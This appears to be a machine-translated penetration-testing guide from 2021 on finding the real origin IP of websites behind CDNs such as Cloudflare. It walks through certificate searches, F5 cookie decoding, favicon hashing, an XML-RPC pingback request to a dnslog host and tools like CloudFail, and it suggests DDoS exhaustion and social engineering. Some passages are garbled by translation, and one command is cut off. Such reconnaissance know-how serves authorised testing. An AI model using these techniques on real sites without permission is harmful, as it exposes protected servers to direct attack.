CDN 2021 full attack Guide (1)

In addition, similarsubfinder,dnsprobeAnd other tools, interested readers can study and understand its working principle and mechanism by themselves.
2. Post Office via Email
Generally, if the mail server deployed on large websites sends emails to external users without any data processing and protection measures, the source code of the email header contains the real IP address of the email server. Common email trigger points:
●RSS subscription
●Email registration and activation
●Password for email retrieval
●Product Update email push
●Email notification sent after a service is executed
●Forgot password at the entrance of employee mailbox, mail management platform, etc.

Similarly, we search for the SSL certificate fingerprint based on the domain name fingerprint, and then check the IP address.
First, selectCertificatesCertificate Search, the results a bunchEffectiveCertificate andInvalidCertificate:

During the test, it is easy to fall into the misunderstanding of thinking, thinkingEffectiveThe certificate is what we need, but it is not necessarily, many server configuration errors are still retainedInvalidFor example, in the example, when there are many results, I use Censys syntax to search for accurate positioning.EffectiveSSL certificate, reduced result:

parsed.names: xxx.com and tags.raw: trusted

The number of results is reduced to two in an instant. Click one by one, and then the sha1 signature is used to check the IPV4 host:

But unfortunately, neither of the two records was found:

This also shows from the side that not all websites only haveEffectiveThe certificate matches its IP server.
Therefore, you can only go back to the beginning, open all the results in turn and check the fingerprints, and finally locate the real IP address:

Safety is not only a technical job, but also a careful job.
2. Use the command line
●PassopensslAndCurlAnd other common basic commands can also achieve the effect of anti-check SSL certificates.
openssl:

openssl s_client -connect 123.123.123.123:443 | grep subject

curl:

curl -v https://123.123.123.123 | grep 'subject'

3. Use tools and scripts
●By writing your own script and integrating the preceding two points 1 and 2, you can completely implement a simple version of SSL certificate crawling. You can also use some existing script tools and websites, it saves us effort.
For exampleCloudFlair, Project address:https://github.com/christophetd/CloudFlair
The script is compatible with python2.7 and 3.5. You need to configure the Censys API. However, you can only check whether the target website uses the CloudFlare service.
Register an account in Censys and enterhttps://censys.io/account/apiObtain the API ID and Secret:

Clone the CloudFlair locally and import the API ID and Secret to the environment variables:

$git clone https://github.com/christophetd/CloudFlair
$export CENSYS_API_ID="xxx"
$export CENSYS_API_SECRET="xxx"

Use requirements.txt to install dependencies:

$pip install -r requirements.txt

Run cloudflair.py:

$python cloudflair.py --censys-api-id xxx --censys-api-secret xxx baidu.com
[*] The target appears to be behind CloudFlare.
[*] Looking for certificates matching "myvulnerable.site" using Censys
[*] 75 certificates matching "myvulnerable.site" found.
[*] Looking for IPv4 hosts presenting these certificates...
[*] 10 IPv4 hosts presenting a certificate issued to "myvulnerable.site" were found.
-51.194.77.1
-223.172.21.75
-18.136.111.24
-127.200.220.231
-177.67.208.72
-137.67.239.174
-182.102.141.194
-8.154.231.164
-37.184.84.44
-78.25.205.83
[*] Retrieving target homepage at https://myvulnerable.site
[*] Testing candidate origin servers
-51.194.77.1
-223.172.21.75
-18.136.111.24
responded with an unexpected HTTP status code 404
-127.200.220.231
timed out after 3 seconds
-177.67.208.72
-137.67.239.174
-182.102.141.194
-8.154.231.164
-37.184.84.44
-78.25.205.83
[*] Found 2 likely origin servers of myvulnerable.site!
-177.67.208.72 (HTML content identical to myvulnerable.site)
-182.102.141.194 (HTML content identical to myvulnerable.site)

In fact, you can use the API provided by Censys to integrate a simple and practical fully automated detection script. If I have time to write it later, it will be updated here synchronously.
4. Certificate collection
Yeshttps://crt.shPerform fast certificate query and collection

The python script for the query is attached:

import requests
import re
TIME_OUT = 60
def get_SSL(domain):
domains = []
url = 'https://crt.sh /? q=%25.{}'.format(domain)
response = requests.get(url,timeout=TIME_OUT)
ssl = re.findall("<TD>(.*?) .{}</TD>".format(domain),response.text)
for I in ssl:
I += '.' + domain
domains.append( I)
print(domains)
if __name__ == '__main __':
get_SSL("baidu.com")

Obtain all subdomains that contain certificates:

4. Query through overseas DNS
●For users in the domestic market, most CDN service providers do not use CDN in overseas markets. Therefore, you can search for niche and unpopular overseas DNS queries to see if you can obtain real IP addresses.

$nslookup target.com <overseas DNS address>

You can also use the overseas super ping platform to test online in multiple countries and regions. Recommendedhttps://www.host-tracker.com/v3/check/, supports ping tests in more than 140 regions, and supports ultra-long term monitoring for a sub-domain. It is extremely powerful by email notification.

5. Leakage through sensitive files
Including but not limited:
●Server log files
●Probe file, such as phpinfo
●Website backup compressed files
●. DS_Store
●.hg
●.git
●SVN
●Web.xml
The dictionary is very important. It is often neglected in an edge server.
VI. Domain name changed
●Many websites change their domain names during the development process. For example, the previous domain name of Jingdong was 360buy.com, and later it spent a huge sum of money on jd.com.
●When a website changes its new domain name, if the CDN is deployed to the new domain name, and the previous domain name has not expired, the CDN may not be used, so you can directly obtain the server IP address, so, historical domain names are also important.
7. Mobile applications via APP
●If web presence APP, can pass caught analysis its APP data flow, see if you can find website real IP address, remember attention APP version of history, there will be full of surprise.
8. Use F5 LTM to decode
●LTM distributes all application requests to multiple node servers. Server load balancer improves the processing capability of your business.
●When the server uses F5 LTM for load balancingset-cookieYou can obtain the real ip address of the server by decoding the keyword.
Example:

Set-Cookie: BIGipServerpool_9.29_5229=605532106.22012.0000

●First, take out the decimal number in the first section, that is, 605532106.
●Convert it to a hexadecimal number of 2417afca
●Then take four bytes from the back to the front: CA AF 17 24
●Finally, it is converted to the decimal number 202.175.23.36, which is the real ip address of the server.
9. Use the CDN header feature value
After CDN is enabled for many websites, you are configured to deny direct access to real IP addresses. For example, the CloudFlare prompts:

Therefore, you can narrow down the range by matching the feature header. In this example, you can use Censys to query:

Syntax: <port>http.get.headers.server:<CDN features>
eg: 80.http.get.headers.server:cloudflare

The search results for the entire Internet are further matched, for example, through the port, geographic location, banner characteristics, anti-check email, contact information, and other information, continue to accurate results:

10. Communication through XML-RPC PINGBACK
●XML-RPC is a standard that supports communication between WordPress and other systems. It standardizes these communication processes by using HTTP as a transmission mechanism and XML as a coding mechanism.
●In earlier versions of WordPress, XML-RPC was disabled by default, but started from version 3.5, which is enabled by default.
●XML-RPC support trackback and pingback.
●Although WordPress have used REST API to replace XML-RPC, XML-RPX will not be outdated. It is good to use it with confidence and boldness. Although XML-RPC technology is very old, it can still kill many websites.
After dnslog is configured, the POST request XML-RPC:

POST /xmlrpc.php HTTP/1.1
Host: domain.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 323
<? xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://2vbis4.dnslog.cn</string></value>
</param>
<param>
<value><string>https://domain.com/</string></value>
</param>
</params>
</methodCall>

Response:

Refresh dnslog to obtain the real server IP address:

11. Use FTP/SCP protocol
●In many cases, websites need to transmit data streams from outside to internal servers, the safest way is to establish a virtual private network (V * P + N anti-Harmony) between users and servers.
●However, in fact, there are still a large number of FTP / SCP services that can be accessed from the outside, making it easy to find the source IP address.
XII. Use Websocket agreement
●CDN service providers such as CloudFlare have already supported the protection of Websocket, but many webmasters, regardless of big or small websites, do not know or deploy Websocket.
●Another reason is due to business requirements. After all, Websocket requires a persistent connection between the client and the server, it is likely that CDN is not deployed.
13. Through social engineering
●Kellen King, an outstanding early thinker, philosopher, sociologist and economist in the early 21st century, was the originator of social engineering. He called himself a bracket.
●Maybe someone laughed, but don't underestimate the power of social workers. How many big factories and operators are under the feet of social engineering, such as Mail fishing, pit attack, physical social workers, identity disguise, customer service fraud, business consulting, and so on. There are numerous cases.
●Because people are not machines, as long as they are people, there must be vulnerabilities.
●Oh yes, by the way, I recommend a movie called "cat and mouse game" by Little Li Zi.
14. Website vulnerabilities
●If the target website has vulnerabilities, such as SSRF, XXE, XSS, file upload, and command execution, or other breakthroughs we have found, inject our own out-of-band server address, then, check the HTTP logs on the server.
●The error of the application itself causes an internal exception when some incorrect parameter values or incorrect addresses are passed, that is, the common error is reported. Pay attention to the error points, some real IP addresses or internal CIDR blocks are often disclosed.
15. Scan through the whole network
●What age is it? Why are you still talking about scanning the whole network. In order to write the whole method, I 'd like to mention it here.
●Obtain the ip address segment of the target region from the apnic Network Information Center or IPdeny.
●Then, use tools such as Zmap and masscan to crawl the banner of the hosts whose ports are open.
●Then, in the Host field of http-req, write the subdomain that we need to find.
●Finally, filter the features to check whether there is a corresponding server response.
●Oh, by the way, if the port is not common or fixed, retire on the spot.
●In fact, the whole network scanning method is very cumbersome and is not recommended. Because many websites have provided us with web-wide crawling services, the previous methods have introduced, why do we scan our own web-wide, limited by network, limited by equipment, can your personal data be fully crawled by others?
16. Collision through virtual-host
●When we collect enough potential real IP addresses of the target, we can obtain multiple subdomains that hit the target and which target subdomains through the collision of IP addresses and subdomains.
The IP address is correct and the subdomain is incorrect:

Correct IP address and correct subdomain:

The IP address is invalid. The subdomain is correct:

You can use the virtual-host-discovery tool to automate the process. The project address is as follows:https://github.com/jobertabma/virtual-host-discovery
Clone to local

$git clone https://github.com/jobertabma/virtual-host-discovery

Usage:

$ruby scan.rb --ip=x.x.x.x --host=domain --wordlist=<dict file>

The wordlsit parameter can be omitted. By default, a dictionary is loaded. This parameter specifies the list of subdomains that we want to run.
After the execution, you can quickly find the subdomains that hit the IP address.

In addition, you can use the find-virtual-hosts (https://pentest-tools.com/information-gathering/find-virtual-hosts#) tools to quickly scan and compare data online to obtain the following results:

17. Hash features through favicon.ico
●favicon.ico is a small icon displayed on the left side of the webpage title in modern browsers.
●The icon data is usually fromhttps://anywebsite/favicon.icoThe browser will automatically request it when browsing any website.
●This is because the fingerprint hash of favicon.ico can be calculated, and the same host results can be searched by search engines such as shodan to further detect whether the real IP address of the target website can be dug out.
Small script for calculating favicon.ico hash:
python 2

import mmh3
import requests
response = requests.get('https://domain.com/favicon.ico')
favicon = response.content.encode('base64')
hash = mmh3.hash(favicon)
print hash

python 3

import mmh3
import requests
import codecs
response = requests.get('https://domain.com/favicon.ico')
favicon = codecs.encode(response.content,"base64")
hash = mmh3.hash(favicon)
print(hash)

After the environment dependency is installed, run the script to calculate the favicon.ico hash value of the target website:

$apt-get install build-essential
$apt-get install gcc
$apt-get install g++
$python 3.py

Then use the shodan search engine to search for the hash to hit the IP address:

$proxychains shodan search http.favicon.hash:1730752770 --fields ip_str,port --separator "" | awk '{print $1 ":

It is also worth mentioning that during the penetration process, fingerprints can be sorted and sorted according to favicon hash, subdomain, and IP hits. In addition, a common middleware or component fingerprint hash table can be made, quickly hit assets by category:

Eighteen, through the webpage source code characteristic value
●If the source IP address of the server allows access and returns similar website content, you can detect a series of static features such as JS, CSS, and HTML in the source code of the page, and then use Shodan, Zoomeye, search engines such as Censys perform matching searches to locate IP addresses.
For example, a Google Analytics JS feature is found in the source code:

Then shodan searches for these code features:

http.html:UA-XXXXX-X
http.html:GTM-XXXXXX

Find the server source IP address:

19. Remote resource services through websites
●Find more business sites on the target website that support passive connections such as remote images and files, inject resource files from our own servers, and then view HTTP logs to locate the connections to the target server.
●For example, load a remote avatar.
20. Through the CDN machine
●Some websites use self-built CDN machines for load balancing. It is difficult to ensure that each CDN machine is 100% secure. If there is no way, you can try to test the penetration of these CDN machines. If you can win one, you will have everything, the safety of the target master station does not mean that there are no defects in all production routes. The Safety lies not in how strong the real strong place is, but in how weak the weak place is.
21. Attacks through traffic exhaustion and traffic amplification
●CDN is charged, so its traffic must be limited. When testing some websites that are not super-large target websites, note that, with the permission of the project Party, you can test the ddos traffic.
●When CDN traffic is exhausted, no content is distributed. You can directly obtain the source IP address.
●However, CDN is a traffic penetration. Before the traffic is exhausted, the target website is gg.
●Another old practice is to set the IP address of the origin site to be protected as the address of the CDN node through its own defects in CDN settings. As a result, CDN traffic enters a dead loop. After being amplified layer by layer, at last, he killed himself. However, most CDN vendors have already restricted setting CDN nodes as CDN node IP addresses and enabled the Automatic Packet loss protection mechanism.
22. Through the domain name ICP filing information wide area detection
●For the target domain name and the target second-level domain name, if CDN is enabled, will the thinking be interrupted?
●Definitely not. Here is a unique secret skill that few people pay attention.
●Websites need servers. However, it is impossible for a local company to have one server for one domain name. In most cases, multiple domain name businesses share one server.
●If the target website has an ICP filing, you can query the ICP filing information, collect other website domain names and other subdomains filed by the enterprise or individual, and then perform a round of wide-area detection, it is very likely that the IP address of the real server is directly exposed in one of the edge subdomains without CDN, and then further verify whether the IP address is also the real IP address of the target website.

●In particular, the success rate of this method is extremely high, and the speed of finding it is very fast. Therefore, students who have the willpower to read it can see it.
23. Use the default configuration of CDN service providers
●Different CDN service providers have different product configurations by default.
●For example, CloudFlare, the direct.domain.com subdomain is configured to point to the source IP address of the server by default. However, many companies or individuals do not modify the default configuration when using CDN protection, resulting in the risk of IP leakage.
●Other high-risk sub-domains, such as ftp, mail, cpanel, and direct-connect, can also be focused on to facilitate fast Positioning. After all, time is money in public beta.
24. Fingerprint through SSH
●Off the question, SSH fingerprint is generally used for anonymous Tor network tracking
25. Use CloudFair tools
●If your goal is CloudFlare protection, it is recommended to use this tool first.
●CloudFail is a tactical reconnaissance tool designed to collect sufficient information about Cloudflare-protected targets in order to discover the IP address location of the server.
The tool detects three different attack stages:
1. Use DNSDumpster.com to scan for DNS configuration errors.
2. Scan and compare the Crimeflare.com database.
3. The built-in dictionary scans more than 11000 subdomains.
Installation and Use:

$git clone https://github.com/m0rtem/CloudFail
$pip install -r requirements.txt
$python cloudfail.py -t domain.com
_____________
/\_| | \_\| | \___ _(_) |
| | |/ _ \| | | |/ _'| |_ / _' | | | | |
| | |_| | (_) | | |_| | (_| |_| (_| | | | | |
\____|_|\___/ \__,_|\__,_|_| \__,_|_|_|
v1.0.2 by m0rtem
[16:12:31] Initializing CloudFail - the date is: 07/01/2021
[16:12:31] Fetching initial information from: domain.com...
[16:12:31] Server IP: 104.xx.x.76
[16:12:31] Testing if domain.com is on the Cloudflare network...
[16:12:31] domain.com is part of the Cloudflare network!
[16:12:31] Testing for misconfigured DNS using dnsdumpster...
[16:12:35] [FOUND:HOST] domain.com HTTP: cloudflare TCP8080: cloudflare 172.xx.xx.62 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] freelance.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] www.freelance.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] ctf.domain.com HTTP: nginx/1.10.3 HTTPS: nginx/1.10.3 SSH: SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7 185.231.245.55 TEAM-HOST AS Russia
[16:12:35] [FOUND:HOST] www.ctf.domain.com HTTP: nginx/1.10.3 HTTPS: nginx/1.10.3 SSH: SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7 185.231.245.55 TEAM-HOST AS Russia
[16:12:35] [FOUND:HOST] mail.domain.com 62.213.11.246 ROSTELECOM-ASRussia Russia
[16:12:35] [FOUND:HOST] school.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] www.school.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] pentest.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] www.pentest.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] w.domain.com HTTP: nginx/1.6.2 HTTPS: nginx/1.6.2 SSH: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u8 185.xx.xx.136 TEAM-HOST AS Russia
[16:12:35] [FOUND:HOST] www.w.domain.com HTTP: nginx/1.6.2 HTTPS: nginx/1.6.2 SSH: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u8 185.xx.xx.136 TEAM-HOST AS Russia
[16:12:35] [FOUND:HOST] www.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] pay.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] www.pay.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:DNS] tim.ns.cloudflare.com. 173.xx.xx.145 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:DNS] tina.ns.cloudflare.com. 173.xx.xx.230 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:MX] 62.xx.xx.246 ROSTELECOM-ASRussia 10 mail.domain.com.
[16:12:35] [FOUND:MX] 62.xx.xx.246 ROSTELECOM-ASRussia 20 mail.domain.com.
[16:12:35] Scanning crimeflare database...
[16:12:36] [FOUND:IP] 62.xx.xx.230
[16:12:36] [FOUND:IP] 62.xx.xx.246
[16:12:36] Scanning 11219 subdomains (subdomains.txt), please wait...
[16:15:52] [FOUND:SUBDOMAIN] mail.domain.com IP: 62.xx.xx.246 HTTP: 200
[16:16:13] [FOUND:SUBDOMAIN] pay.domain.com ON CLOUDFLARE NETWORK!
[16:16:35] [FOUND:SUBDOMAIN] school.domain.com ON CLOUDFLARE NETWORK!
[16:17:03] [FOUND:SUBDOMAIN] w.domain.com IP: 185.xx.xx.136 HTTP: 200
[16:17:10] [FOUND:SUBDOMAIN] www.domain.com ON CLOUDFLARE NETWORK!
[16:17:14] Scanning finished...

Close your eyes and rest for a while, then run out:

If you like to be lazy, you can use the online query:https://suip.biz/? act=cloudfailThis tool has been integrated into the background, and a front-end UI page has been made for security information practitioners to query online:

 

The script execution result can be directly seen at the front end, and PDF report download is provided. Here I use baidu.com for testing, because baidu.com does not use CloudFlare CDN, so the speed is very fast.
If you query domain names that use CloudFlare CDN, the speed will be slow, the page will be empty, and nothing will be displayed:

Just wait for a while, here is also a screenshot for everyone, in case of misunderstanding that the tool cannot be used:

 
0x04 how to use the real IP address
●You can modify the hosts file to bind the domain name to the IP address. (If not, it is not recommended to read this article.)
●If you use the burpsuite test, you can add the domain name and IP address record in the Project options --> Connections --> Hostname Resolution.

 
0x05 from high latitude confrontation
●Protocol layer control/dynamic and static tables/export blocking/concurrency mechanism conversion/coding amplification...... The content of the high-latitude confrontation will be detailed in (2). (To be continued)